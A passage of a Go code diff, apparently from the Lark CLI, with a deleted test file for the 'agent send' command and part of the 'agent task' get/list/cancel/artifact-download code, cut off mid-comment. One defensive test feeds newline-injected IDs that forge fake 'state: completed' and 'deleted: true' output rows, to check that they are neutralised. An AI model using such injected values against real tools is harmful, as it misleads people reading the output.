// degrades to the <context_id> placeholder,
// which keeps the hint while interpolating nothing untrusted. A hint whose
// command carries <...> placeholders is marked Template so callers know it
// needs substitution before execution.
func nextForTask(ref string, task *iagent.AgentTask) []output.NextAction {
if !safeNextRef(ref) {
return nil
}
if task == nil || task.TaskID == "" || !safeNextID(task.TaskID) {
return nil
}
if task.State.ShouldStopPolling() {
if task.State == iagent.StateAuthRequired {
// auth_required is an agent-side task state — the end user must
// (re)authorize in the agent (see the SKILL state semantics), NOT a CLI scope error and
// NOT a text continuation like input_required. Point at the auth
// re-authorize flow instead of a text continuation. The concrete scopes are the
// agent's declared scope set (see the lark-agent skill's prerequisites), so --scope is a
// placeholder → Template. ref/task_id are already whitelisted above, so
// echoing the re-check command in the label is safe.
return []output.NextAction{{
Label: fmt.Sprintf("完成重新授权后重查任务(据该 agent 所需 scope 定;重查: lark-cli agent task get %s %s", ref, task.TaskID),
Command: `lark-cli auth login --scope "<required_scopes>"`,
Template: true,
}}
}
if task.State == iagent.StateInputRequired {
// A send that already needs input: point at the continue command
// against the same task/context. The --text value is
// always a placeholder, so this hint is a template — which is also why
// a missing or whitelist-failing context_id can degrade to the
// <context_id> placeholder instead of dropping the hint.
ctxID := task.ContextID
if ctxID == "" || !safeNextID(ctxID) {
ctxID = "<context_id>"
}
return []output.NextAction{{
Label: "补充输入后向同一任务续发",
Command: fmt.Sprintf("lark-cli agent send %s --context-id %s --task-id %s --text <你的答复>", ref, ctxID, task.TaskID),
Template: true,
}}
}
// Terminal: suggest reading the final detail / artifacts.
return []output.NextAction{{
Label: "查看任务详情与产物",
Command: fmt.Sprintf("lark-cli agent task get %s %s", ref, task.TaskID),
}}
}
return []output.NextAction{{
Label: "轮询任务直到停轮询条件(有界;到点未终止照此再 watch",
Command: fmt.Sprintf("lark-cli agent task get %s %s --watch --timeout %s", ref, task.TaskID, defaultWatchTimeout),
}}
}
// defaultWatchTimeout is the bounded poll window meta.next suggests for a
// still-running task: a safe default that avoids an unbounded --watch blocking
// forever on a long task and stops an AI caller from self-hammering. On expiry
// the poll returns the current state (exit 0) plus a fresh watch hint, so the
// caller re-watches in segments rather than blocking once. `--watch` used alone
// (--timeout 0) stays unbounded for backward compatibility.
const defaultWatchTimeout = 30 * time.Second

View File

@@ -1,451 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"context"
"encoding/json"
"errors"
"strings"
"testing"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
// sendCmdCtx builds a `lark-cli agent send` leaf command whose CommandPath() is
// non-empty (required for content-safety scanning) and whose --as flag is
// explicitly set to bot so ResolveAs honors it verbatim.
func sendCmdCtx(t *testing.T) *cobra.Command {
t.Helper()
root := &cobra.Command{Use: "lark-cli"}
group := &cobra.Command{Use: "agent"}
leaf := &cobra.Command{Use: "send"}
root.AddCommand(group)
group.AddCommand(leaf)
leaf.Flags().String("as", "", "identity")
if err := leaf.Flags().Set("as", "bot"); err != nil {
t.Fatal(err)
}
leaf.SetContext(context.Background())
return leaf
}
// sendTestOpts wires a sendOptions against a real (test) Factory, addressing
// the scripted fakeflow agent agt_x under an explicit bot identity. The
// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
// test — everything under test here is command-layer behavior over the
// scripted provider.
func sendTestOpts(t *testing.T) *sendOptions {
t.Helper()
registerScripted()
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, _ := cmdutil.TestFactory(t, cfg)
return &sendOptions{
Factory: f,
Cmd: sendCmdCtx(t),
Ref: "fakeflow:agt_x",
As: "bot",
}
}
// TestSendRequiresText pins that an empty --text is a validation error
// (subtype invalid_argument) raised before any provider is built.
func TestSendRequiresText(t *testing.T) {
err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: ""})
if err == nil {
t.Fatal("missing --text should raise a validation error")
}
if !errs.IsValidation(err) {
t.Fatalf("want validation error, got %T", err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
// hint contract: a missing --text must carry a copy-pasteable remediation
// hint, and the param uses the -- prefix.
if !strings.Contains(p.Hint, "--text") {
t.Errorf("hint should guide adding --text, got %q", p.Hint)
}
var verr *errs.ValidationError
if !errors.As(err, &verr) || verr.Param != "--text" {
t.Errorf("param should be --text, got %+v", verr)
}
}
// TestSendTaskIDRequiresContextID pins that --task-id without --context-id is a
// validation error, raised before any provider is built.
func TestSendTaskIDRequiresContextID(t *testing.T) {
err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: "x", TaskID: "t1"})
if err == nil {
t.Fatal("--task-id without --context-id should error")
}
if !errs.IsValidation(err) {
t.Fatalf("want validation error, got %T", err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
// hint contract: state the next step clearly (--task-id must be provided
// together with --context-id).
if !strings.Contains(p.Hint, "--context-id") {
t.Errorf("hint should note it must be used with --context-id, got %q", p.Hint)
}
var verr *errs.ValidationError
if !errors.As(err, &verr) || verr.Param != "--task-id" {
t.Errorf("param should be --task-id, got %+v", verr)
}
}
// workingTask is the canonical non-terminal task the scripted Send returns for
// the happy-path tests.
func workingTask() *iagent.AgentTask {
return &iagent.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateWorking}
}
// TestSendPrettyFormat pins that `send --format pretty` renders the
// resulting task as key: value lines (previously the flag was registered but
// silently ignored).
func TestSendPrettyFormat(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "分析销售"
opts.Format = "pretty"
setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
return workingTask(), nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentSendRun(opts); err != nil {
t.Fatalf("send --format pretty should not error: %v", err)
}
text := string(out.Bytes())
for _, want := range []string{"state: working", "task_id: chat_1", "context_id: sess_1"} {
if !strings.Contains(text, want) {
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
}
}
var env output.Envelope
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
t.Errorf("pretty should not be a JSON envelope: %s", text)
}
}
// TestSendDryRunPrettyFormat pins that --dry-run also consumes --format pretty
// (key: value preview) instead of silently emitting JSON.
func TestSendDryRunPrettyFormat(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "分析销售"
opts.DryRun = true
opts.Format = "pretty"
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentSendRun(opts); err != nil {
t.Fatalf("dry-run pretty should not error: %v", err)
}
text := string(out.Bytes())
for _, want := range []string{"dry_run: true", "ref: fakeflow:agt_x", "text: 分析销售"} {
if !strings.Contains(text, want) {
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
}
}
var env output.Envelope
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
t.Errorf("pretty should not be a JSON envelope: %s", text)
}
}
// TestSendDryRunPrettyNeutralizesInjection pins F2: the dry-run pretty preview
// runs context_id/task_id through kvValue (like every other pretty face), so a
// value carrying a newline cannot forge an adjacent "key: value" field row.
func TestSendDryRunPrettyNeutralizesInjection(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "hi"
opts.DryRun = true
opts.Format = "pretty"
opts.ContextID = "ctx1\nstate: completed"
opts.TaskID = "task1\ndeleted: true"
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentSendRun(opts); err != nil {
t.Fatalf("dry-run pretty should not error: %v", err)
}
text := string(out.Bytes())
// The raw newline must not survive into a forged adjacent row.
if strings.Contains(text, "context_id: ctx1\nstate: completed") {
t.Errorf("context_id newline not neutralized, forged a field row:\n%s", text)
}
if strings.Contains(text, "task_id: task1\ndeleted: true") {
t.Errorf("task_id newline not neutralized, forged a field row:\n%s", text)
}
// kvValue collapses the newline to a space, keeping the value on one line.
if !strings.Contains(text, "context_id: ctx1 state: completed") {
t.Errorf("context_id should collapse to one line, got:\n%s", text)
}
if !strings.Contains(text, "task_id: task1 deleted: true") {
t.Errorf("task_id should collapse to one line, got:\n%s", text)
}
}
// TestSendNoParamsRequired pins card v2: the scripted card declares no
// parameters, so a send without any --param passes card validation — asserted
// via --dry-run so no provider Send fires. A malformed --param is still a
// validation error.
func TestSendNoParamsRequired(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "分析销售"
opts.Params = nil
opts.DryRun = true
if err := agentSendRun(opts); err != nil {
t.Fatalf("card has no required params, send without --param should pass validation: %v", err)
}
opts2 := sendTestOpts(t)
opts2.Text = "分析销售"
opts2.Params = []string{"noequals"} // a --param without '=' should still raise validation
opts2.DryRun = true
err := agentSendRun(opts2)
if err == nil {
t.Fatal("malformed --param should error")
}
if !errs.IsValidation(err) {
t.Fatalf("want validation error, got %T", err)
}
}
// TestSendUnknownParamRejected pins, against an empty-parameters card, that
// any --param key is unknown → invalid_argument with a hint pointing at
// `agent card`, raised before any provider Send (asserted via --dry-run with
// no send hook installed).
func TestSendUnknownParamRejected(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "分析销售"
opts.Params = []string{"app_id=app_1"}
opts.DryRun = true
err := agentSendRun(opts)
if err == nil {
t.Fatal("card did not declare app_id, --param app_id should error")
}
if !errs.IsValidation(err) {
t.Fatalf("want validation error, got %T", err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
if !strings.Contains(p.Hint, "agent card") {
t.Fatalf("hint should point to agent card, got %q", p.Hint)
}
}
// TestSendDryRun pins that --dry-run prints a would_send preview and never
// calls the provider (no send hook installed → a Send would panic).
func TestSendDryRun(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "分析销售"
opts.DryRun = true
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentSendRun(opts); err != nil {
t.Fatalf("dry-run should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("dry-run output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
if !env.OK {
t.Errorf("ok should be true: %+v", env)
}
data, ok := env.Data.(map[string]interface{})
if !ok {
t.Fatalf("data should be an object, got %T", env.Data)
}
if data["dry_run"] != true {
t.Errorf("data.dry_run should be true, got %v", data["dry_run"])
}
would, ok := data["would_send"].(map[string]interface{})
if !ok {
t.Fatalf("data.would_send should be an object, got %T", data["would_send"])
}
if would["text"] != "分析销售" {
t.Errorf("would_send.text should echo the text, got %v", would["text"])
}
}
// TestSendStartsTask pins the happy path: a single Send fires and returns the
// submitted / working task in a success envelope immediately (no polling), with
// a meta.next hint pointing at task get --watch.
func TestSendStartsTask(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "分析销售"
var gotText string
setScripted(t, scriptedHooks{send: func(in iagent.SendInput) (*iagent.AgentTask, error) {
gotText = in.Text
return workingTask(), nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentSendRun(opts); err != nil {
t.Fatalf("send should not error: %v", err)
}
if gotText != "分析销售" {
t.Errorf("provider should receive the original text, got %q", gotText)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
if data["task_id"] != "chat_1" {
t.Errorf("task_id should be chat_1, got %v", data["task_id"])
}
if data["state"] != string(iagent.StateWorking) {
t.Errorf("state should be working, got %v", data["state"])
}
// meta.next should suggest polling / continuing.
if !strings.Contains(string(out.Bytes()), `"next"`) {
t.Errorf("non-terminal should provide meta.next follow-up: %s", string(out.Bytes()))
}
}
// TestSendSendError surfaces a provider Send failure unchanged.
func TestSendSendError(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "x"
setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
}})
if err := agentSendRun(opts); err == nil {
t.Fatal("Send error should propagate")
}
}
// TestSendInvalidRef surfaces a malformed ref as a validation error after the
// text/task-id guards pass.
func TestSendInvalidRef(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
err := agentSendRun(&sendOptions{Ref: "no-colon", Text: "x", Cmd: sendCmdCtx(t), As: "bot", Factory: f})
if err == nil {
t.Fatal("malformed ref should error")
}
if !errs.IsValidation(err) {
t.Fatalf("want validation error, got %T", err)
}
}
// TestNewCmdAgentSend_WriteRiskAndArgs pins ExactArgs(1), write risk, and the
// presence of the send-specific flags.
func TestNewCmdAgentSend_WriteRiskAndArgs(t *testing.T) {
cmd := NewCmdAgentSend(nil, nil)
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskWrite {
t.Errorf("agent send should be marked write risk, got level=%q ok=%v", level, ok)
}
if err := cmd.Args(cmd, []string{}); err == nil {
t.Error("agent send missing ref should raise an args error (ExactArgs 1)")
}
if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
t.Errorf("agent send with a single ref should be valid: %v", err)
}
for _, name := range []string{"text", "file", "param", "context-id", "task-id", "dry-run", "as", "format", "jq"} {
if cmd.Flags().Lookup(name) == nil {
t.Errorf("agent send should have --%s flag", name)
}
}
if cmd.Flags().Lookup("wait") != nil {
t.Error("agent send --wait should be removed (polling goes through task get --watch)")
}
// The --file help must point out that files are sent off to the remote
// provider (file-egress requirement).
fileFlag := cmd.Flags().Lookup("file")
if fileFlag != nil && !strings.Contains(fileFlag.Usage, "外发") && !strings.Contains(fileFlag.Usage, "上传") {
t.Errorf("--file help should note files are sent out to the remote provider, got %q", fileFlag.Usage)
}
}
// TestNewCmdAgentSend_RunFOverride confirms the injected runF hook is used
// instead of the production path (construction-time seam).
func TestNewCmdAgentSend_RunFOverride(t *testing.T) {
called := false
var captured *sendOptions
cmd := NewCmdAgentSend(nil, func(opts *sendOptions) error {
called = true
captured = opts
return nil
})
cmd.SetArgs([]string{"example:agt_x", "--text", "hi"})
cmd.SetContext(context.Background())
if err := cmd.Execute(); err != nil {
t.Fatalf("execute should not error: %v", err)
}
if !called {
t.Fatal("runF should be called")
}
if captured.Ref != "example:agt_x" || captured.Text != "hi" {
t.Errorf("opts not populated correctly: %+v", captured)
}
}
// TestSend_FileRequiresYes pins the --file exfil confirmation gate: a real send
// carrying --file to a provider that supports file upload (the scripted card has
// file_input=true) requires --yes, so without it the command returns
// confirmation_required (exit 10) BEFORE reaching the provider — the unset send
// hook is a tripwire that would panic if the gate let the upload through.
func TestSend_FileRequiresYes(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "hi"
opts.Files = []string{"local.txt"} // no --yes
err := agentSendRun(opts)
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
t.Fatalf("send --file without --yes should be confirmation_required, got %+v (err=%v)", p, err)
}
if output.ExitCodeOf(err) != output.ExitConfirmationRequired {
t.Fatalf("exit should be %d, got %d", output.ExitConfirmationRequired, output.ExitCodeOf(err))
}
}
// TestSend_FileWithYesProceeds pins that --yes satisfies the --file gate: the
// send reaches the provider, which receives the file path.
func TestSend_FileWithYesProceeds(t *testing.T) {
opts := sendTestOpts(t)
sent := false
setScripted(t, scriptedHooks{send: func(in iagent.SendInput) (*iagent.AgentTask, error) {
sent = true
if len(in.Files) != 1 || in.Files[0] != "local.txt" {
t.Errorf("provider should receive the --file path, got %v", in.Files)
}
return &iagent.AgentTask{TaskID: "t1", State: iagent.StateCompleted, IsTerminal: true}, nil
}})
opts.Text = "hi"
opts.Files = []string{"local.txt"}
opts.Yes = true
if err := agentSendRun(opts); err != nil {
t.Fatalf("send --file --yes should proceed: %v", err)
}
if !sent {
t.Error("provider Send should be reached after --yes")
}
}
// TestSend_FileDryRunNotGated pins that --dry-run with --file is exempt from the
// gate (dry-run never uploads), so it needs no --yes and never reaches the
// provider (unset send hook stays a tripwire).
func TestSend_FileDryRunNotGated(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "hi"
opts.Files = []string{"local.txt"}
opts.DryRun = true // no --yes
if err := agentSendRun(opts); err != nil {
t.Fatalf("dry-run --file should not be gated: %v", err)
}
}

View File

@@ -1,485 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"context"
"fmt"
"io"
"net/http"
"strings"
"time"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/validate"
"github.com/larksuite/cli/internal/vfs"
)
// maxArtifactBytes caps a single downloaded artifact to guard against an
// untrusted host streaming an unbounded body onto local disk.
const maxArtifactBytes = 256 << 20 // 256 MiB
// taskOptions holds all inputs for the `agent task get|list|cancel` leaves. A
// single struct backs all three so the shared fields (Factory, Cmd, Ref, As)
// are wired once; each RunE reads only the fields its verb needs.
type taskOptions struct {
Factory *cmdutil.Factory
Cmd *cobra.Command
Ref string
TaskID string
ContextID string
ArtifactID string
Output string
Force bool
Watch bool
Timeout time.Duration
As string
Format string
}
// resolveDownload is the DownloadArtifact seam: it resolves the provider
// addressed by opts under the effective identity, runs the local scope
// preflight, and fetches the artifact descriptor. Tests swap it to return
// inline bytes without a Factory / network.
var resolveDownload = func(opts *taskOptions) (*iagent.ArtifactData, error) {
p, id, err := resolveProvider(opts.Factory, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return nil, err
}
// Capability gate before the API call: a provider that does not wire
// DownloadArtifact (card artifact_download=false) returns unsupported_capability.
if p.DownloadArtifact == nil {
return nil, capabilityError(opts.Ref, "artifact download", iagent.CapArtifactDownload)
}
if err := preflightScopesForRef(opts.Factory, id, opts.Ref); err != nil {
return nil, err
}
return p.DownloadArtifact(opts.Cmd.Context(), opts.TaskID, opts.ArtifactID)
}
// artifactFetch is the URL-download seam: it SSRF-validates rawURL and fetches
// its bytes with a download-hardened client. Tests swap it to serve a loopback
// httptest server (which the production SSRF guard would otherwise block).
var artifactFetch = fetchArtifactURL
// hardenDownloadClient is the download-client-build seam inside fetchArtifactURL.
// Production wraps the base client with the SSRF-hardened redirect/dial rules;
// tests swap it to pass the (interceptable) base client through unchanged so the
// request/status/read/limit logic can run against an httpmock transport that the
// hardened client's transport clone would otherwise discard.
var hardenDownloadClient = func(base *http.Client) *http.Client {
return validate.NewDownloadHTTPClient(base, validate.DownloadHTTPClientOptions{})
}
// NewCmdAgentTask builds the `agent task` command group: query, list and cancel
// tasks on a remote agent. It is a pure group with no RunE so an unknown
// subcommand is reported rather than silently swallowed.
func NewCmdAgentTask(f *cmdutil.Factory) *cobra.Command {
cmd := &cobra.Command{
Use: "task",
Short: "Query / list / cancel a remote agent's tasks",
Long: "task get <agent_ref> <task-id> queries a single task (with --watch polling and --artifact download); task list <agent_ref> lists tasks; task cancel <agent_ref> <task-id> cancels (capability-gated).",
}
cmd.AddCommand(NewCmdAgentTaskGet(f))
cmd.AddCommand(NewCmdAgentTaskList(f))
cmd.AddCommand(NewCmdAgentTaskCancel(f))
return cmd
}
// NewCmdAgentTaskGet builds `agent task get <ref> <task-id>`: fetch a single
// task's state and artifacts. `--watch` polls until the task reaches a stop
// condition and the terminal state drives the semantic exit code;
// `--timeout` bounds that poll (0 = unbounded, blocking to a stop condition —
// the backward-compatible default). `--artifact <id>` downloads that artifact
// to `-o` instead of printing the task: a URL-type artifact is SSRF-validated
// and fetched, an inline-bytes artifact is written straight to disk.
// Risk=read.
func NewCmdAgentTaskGet(f *cmdutil.Factory) *cobra.Command {
opts := &taskOptions{Factory: f}
cmd := &cobra.Command{
Use: "get <agent_ref> <task-id>",
Short: "Query a single task's state and artifacts",
Long: "Query the state and artifacts of task-id under the agent addressed by agent_ref. --watch polls until a stop condition and then prints the final state; --timeout bounds the watch (0 = unbounded, blocking to a terminal state). --artifact <id> with -o downloads that artifact to a local file.",
Args: exactArgsWithUsage(2),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
opts.TaskID = args[1]
return agentTaskGetRun(opts)
},
}
cmd.Flags().BoolVar(&opts.Watch, "watch", false, "轮询任务直到进入停轮询条件(终态 / 需补输入 / 需补鉴权)再打印最终状态")
cmd.Flags().DurationVar(&opts.Timeout, "timeout", 0, "--watch 的最长轮询时长,如 30s0=无界(阻塞到终态);到点未终止则返回当前状态+续 watch 命令")
cmd.Flags().StringVar(&opts.ArtifactID, "artifact", "", "下载指定产物 id须配合 -o 指定落盘路径),不打印任务详情")
cmd.Flags().StringVarP(&opts.Output, "output", "o", "", "产物落盘路径(仅 --artifact 时使用)")
cmd.Flags().BoolVar(&opts.Force, "force", false, "允许覆盖已存在的 -o 目标文件(默认拒绝覆盖,防止误毁本地文件)")
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
return cmd
}
// NewCmdAgentTaskList builds `agent task list <ref>`: enumerate the agent's
// tasks, optionally filtered by `--context-id`, into {tasks:[...]} with a
// meta.count. Risk=read.
func NewCmdAgentTaskList(f *cmdutil.Factory) *cobra.Command {
opts := &taskOptions{Factory: f}
cmd := &cobra.Command{
Use: "list <agent_ref>",
Short: "List a remote agent's tasks",
Long: "List the tasks of the agent addressed by agent_ref; --context-id filters by multi-turn context.",
Args: exactArgsWithUsage(1),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
return agentTaskListRun(opts)
},
}
cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "按多轮上下文 id 过滤任务")
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
return cmd
}
// NewCmdAgentTaskCancel builds `agent task cancel <ref> <task-id>`: cancel
// (interrupt) a task. Cancel is capability-gated on the Card's task_cancel: for
// an agent that does not support it (task_cancel=false, e.g. example:echo) the
// command returns unsupported_capability without contacting the API.
// Risk=write.
func NewCmdAgentTaskCancel(f *cmdutil.Factory) *cobra.Command {
opts := &taskOptions{Factory: f}
cmd := &cobra.Command{
Use: "cancel <agent_ref> <task-id>",
Short: "Cancel (interrupt) a remote agent's task",
Long: "Cancel task-id under the agent addressed by agent_ref. If the agent does not support cancel (card task_cancel=false), it returns unsupported_capability without sending a request.",
Args: exactArgsWithUsage(2),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
opts.TaskID = args[1]
return agentTaskCancelRun(opts)
},
}
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
return cmd
}
// addAsFlag registers the identity flag: the real API-identity flag when a
// Factory is present, or a bare --as for construction-time unit tests (f nil).
func addAsFlag(cmd *cobra.Command, f *cmdutil.Factory, as *string) {
if f != nil {
cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, as)
return
}
cmd.Flags().StringVar(as, "as", "", "identity type: user | bot")
}
// agentTaskGetRun runs `task get`. The `--artifact` client-side guard (requires
// -o) runs first so it never touches the network and holds under a nil Factory.
// With `--artifact` it downloads the named artifact to -o; otherwise it
// fetches the task, optionally polling it to a stop condition under --watch, and
// emits the task with the terminal state driving the semantic exit code.
func agentTaskGetRun(opts *taskOptions) error {
if opts.ArtifactID != "" {
if opts.Output == "" {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"--artifact 需配合 -o/--output 指定落盘路径").
WithParam("--output").
WithHint("补充 -o <落盘路径> 后重发")
}
return downloadArtifact(opts)
}
// --timeout only bounds the --watch poll; without --watch it is meaningless.
// Guard it client-side (mirrors the send --task-id/--context-id combo check)
// so it never touches the network and holds under a nil Factory.
if opts.Timeout > 0 && !opts.Watch {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"--timeout 需与 --watch 一起使用").
WithParam("--timeout").
WithHint("--timeout 需与 --watch 一起使用")
}
f := opts.Factory
p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Local scope preflight: after resolveProvider, before the API call.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
ctx := opts.Cmd.Context()
task, err := p.GetTask(ctx, opts.TaskID)
if err != nil {
return err
}
if opts.Watch && !task.State.ShouldStopPolling() {
// A positive --timeout bounds the poll: pollToStop returns the most recent
// task with a nil error when the deadline fires (a timeout is an
// observation-window close, not a failure), so a long task degrades to
// "current state + a fresh watch hint" instead of blocking forever. 0 =
// unbounded (the backward-compatible default). pollToStop is unchanged.
pollCtx := ctx
if opts.Timeout > 0 {
var cancel context.CancelFunc
pollCtx, cancel = context.WithTimeout(ctx, opts.Timeout)
defer cancel()
}
final, perr := pollToStop(pollCtx, p, opts.TaskID)
if perr != nil {
return perr
}
if final != nil {
task = final
}
}
// Derive IsTerminal from State (single source of truth) before any consumer
// — emitTask's output and semanticExitError below both read the flag.
normalizeTask(task)
if err := emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task), opts.Format); err != nil {
return err
}
// Under --watch a non-successful terminal state signals exit 1; a
// plain get (or a non-terminal stop) is exit 0.
if opts.Watch {
return semanticExitError(task)
}
return nil
}
// agentTaskListRun runs `task list`: resolves the provider, lists tasks
// (optionally filtered by --context-id) and emits {tasks:[...]} with meta.count.
func agentTaskListRun(opts *taskOptions) error {
f := opts.Factory
p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Capability gate before the API call: a provider that does not wire
// ListTasks (card task_list=false) returns unsupported_capability.
if p.ListTasks == nil {
return capabilityError(opts.Ref, "task list", iagent.CapTaskList)
}
// Local scope preflight: after resolveProvider, before the API call.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
tasks, err := p.ListTasks(opts.Cmd.Context(), opts.ContextID)
if err != nil {
return err
}
tasks = normalizeTaskSummaries(tasks)
// pretty is a human view only; a --jq expression implies structured JSON.
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
printTaskSummariesTSV(f.IOStreams.Out, tasks)
return nil
}
env := output.Envelope{
OK: true,
Identity: string(id),
Data: map[string]interface{}{"tasks": tasks},
Meta: &output.Meta{Count: len(tasks)},
Notice: output.GetNotice(),
}
if jq := jqExpr(opts.Cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// agentTaskCancelRun runs `task cancel`. Cancel is capability-gated before any
// network access: it resolves the (statically synthesized) Card for ref and, if
// task_cancel is not supported, returns unsupported_capability without a Factory
// or API call. Only a supporting provider reaches resolveProvider +
// CancelTask.
func agentTaskCancelRun(opts *taskOptions) error {
// Gate before requiring a Factory / network: resolve with zero Deps and read
// the CancelTask capability (a wired field == card task_cancel=true). An agent
// that does not support cancel (e.g. example:echo) returns
// unsupported_capability with no Factory or API access.
probe, err := iagent.Resolve(opts.Ref, iagent.Deps{})
if err != nil {
return wrapRefResolveError(err)
}
if probe.CancelTask == nil {
return capabilityError(opts.Ref, "task cancel", iagent.CapTaskCancel)
}
f := opts.Factory
p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Local scope preflight: after resolveProvider, before the API call.
// A task_cancel=false agent never reaches here (gated above); it is wired so
// a provider that supports cancel is not silently exempt from the
// all-or-nothing scope check.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
if err := p.CancelTask(opts.Cmd.Context(), opts.TaskID); err != nil {
return err
}
// pretty is a human view only; a --jq expression implies structured JSON.
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
fmt.Fprintf(f.IOStreams.Out, "task_id: %s\ncanceled: true\n", kvValue(opts.TaskID))
return nil
}
env := output.Envelope{
OK: true,
Identity: string(id),
Data: map[string]interface{}{"task_id": opts.TaskID, "canceled": true},
Notice: output.GetNotice(),
}
if jq := jqExpr(opts.Cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// downloadArtifact resolves the artifact descriptor and writes it to opts.Output
// under vfs. A URL-type artifact is SSRF-validated and fetched over a
// download-hardened client; an inline-bytes artifact is written directly. The
// output path is validated with SafeOutputPath (relative, within the CWD)
// before any write.
func downloadArtifact(opts *taskOptions) error {
safePath, err := validate.SafeOutputPath(opts.Output)
if err != nil {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "非法的 -o 路径: %v", err).
WithParam("--output").WithCause(err)
}
// Overwriting a local file destroys its content irreversibly — a high-risk
// write. It goes through the same confirmation contract as other --force
// gates (config bind): without --force, a would-be overwrite returns
